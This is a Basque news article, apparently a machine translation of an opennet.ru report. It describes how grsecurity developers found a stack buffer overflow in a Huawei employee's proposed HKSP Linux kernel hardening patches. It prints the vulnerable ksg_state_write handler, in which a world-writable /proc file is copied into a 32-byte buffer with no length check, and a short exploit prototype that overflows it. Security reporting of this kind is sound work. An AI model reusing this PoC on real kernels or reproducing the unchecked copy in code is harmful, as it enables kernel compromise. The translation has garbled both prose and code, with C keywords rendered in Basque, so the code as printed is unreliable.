Segurtasun arazoak Huawei-ko langile batek Linux nukleoa babesteko proposatutako adabakietan

Grsecurity proiektuaren garatzaileak buelta emanda adabaki multzoan ahulezia hutsal baten presentziari arreta jarri HKSP (Huawei Kernel Self Protection), duela egun batzuk proposatu Linux kernelaren segurtasuna hobetzeko. Egoerak gogorarazten du Samsung-ekin kasua, zeinetan sistemaren segurtasuna hobetzeko saiakerak ahultasun berri bat agertzea ekarri zuen eta gailuak arriskuan jartzea erraztu zuen.

HKSP adabakiak Huawei-ko langile batek argitaratu zituen, GitHub profilean Huaweiren aipamena jasotzen dute eta Huawei hitza erabiltzen dute proiektuaren izenean (HKSP - Huawei Kernel Self Protection). Aldi berean, Huawei-ko ordezkariek ukatu egin zuten HKSP proiektuaren konexioa enpresarekin eta kodea langilearen ekimen pertsonalaren arabera garatu zela adierazi zuten, ez dela Huawei proiektu ofiziala eta ez dela konpainiaren produktuetan erabiltzen. On GitHub orria HKSP atzeraeraginez aurkikuntzaren ondoren ahultasunak ere gehitu zen kontuan izan proiektua nire aisialdian garatzen ari dela ikerketa helburuetarako.

HKSP-k aldaketak barne hartzen ditu, hala nola, kredi egituran desplazamenduak aleatorizatzea, erabiltzailearen identifikatzailearen izen-espazioaren aurkako erasoen aurkako babesa (pid namespace), prozesuaren pila mmap eremutik bereiztea, kfree funtziorako dei bikoitzak detektatzea, ihesak blokeatzea. -FS /proc (/proc/ {moduluak, gakoak, gako-erabiltzaileak}, /proc/sys/kernel/* eta /proc/sys/vm/mmap_min_addr, /proc/kallsyms), erabiltzaile-espazio-helbideen aleatorizazioa hobetua, Ptrace gehigarria babesa, smap eta smep babes hobetua, socket gordinen bidez datuak bidaltzea debekatzeko gaitasuna, UDP socketetan helbide okerrak blokeatzea eta martxan dauden prozesuen osotasuna egiaztatzea. Ksguard kernel modulua ere barne hartzen du, rootkit tipikoak sartzeko saiakerak detektatzeko xedea duena.

Adabakiak deitua Greg Kroah-Hartman, Linux nukleoaren adar egonkorra mantentzeaz arduratzen dena, interesgarria izan zen eta egileari eskatu zion adabaki monolitikoa zatitan banatzeko, berrikuspena eta nukleo nagusirako promozioa errazteko. Kees Cook, burua proiektua on sustapena babes aktiboaren teknologia Linux nukleoan ere positiboki adabakiei erantzun zien eta, arazoen artean, arreta jarri zuen x86 arkitekturaren loturari eta modu askoren jakinarazpen izaerari buruz, arazoari buruzko informazioa erregistratzen dutenak soilik, baina blokeatzen saiatzen ez direnak.

Grsecurity-ko garatzaileek egindako adabakiaren azterketak akats eta ahulgune asko agerian utzi zituen kodean, eta proiektuaren gaitasunak behar bezala epaitzeko aukera emango dien mehatxu-eredurik ez dagoela ere erakutsi zuen. Kodea programazio-metodo seguruak erabili gabe idatzi zela argi eta garbi erakusteko, kudeatzailean ahultasun hutsal baten adibidea ematen da.
/proc/ksguard/state fitxategia, 0777 eskubideekin sortzen dena, guztiek idazteko sarbidea dutela esan nahi duena. ksg_state_write funtzioak, /proc/ksguard/state-n idatzitako komandoak analizatzeko erabiltzen dena, tmp[32] buffer bat sortzen du eta bertan datuak idazten dira pasatako operandoaren tamainaren arabera, xede-buffer-aren tamaina kontuan hartu gabe eta gabe. parametroa katearen tamainarekin egiaztatzea. Horiek. Kernel-pilaren zati bat gainidazteko, erasotzaile batek formatu berezia duen lerro bat idatzi besterik ez du egin behar /proc/ksguard/state-ra.

static ssize_t ksg_state_write (egitura fitxategia *fitxategia, const char __user *buf,
size_t len, loff_t *offset)
{
u64 balioa;
char tmp[32];
tamaina_t n = 0;

bada (kopiatu_erabiltzailetik (tmp, buf, len))
itzuli -1;

balioa = simple_strtoul(tmp, '\0', 10);
...

Exploit prototipoa:

char buf[4096] = {};
int fd = open ("/proc/ksguard/state", O_WRONLY);
bada (fd >= 0) {
write(fd, buf, sizeof(buf));
itxi(fd);
}

Iturria: opennet.ru

Gehitu iruzkin berria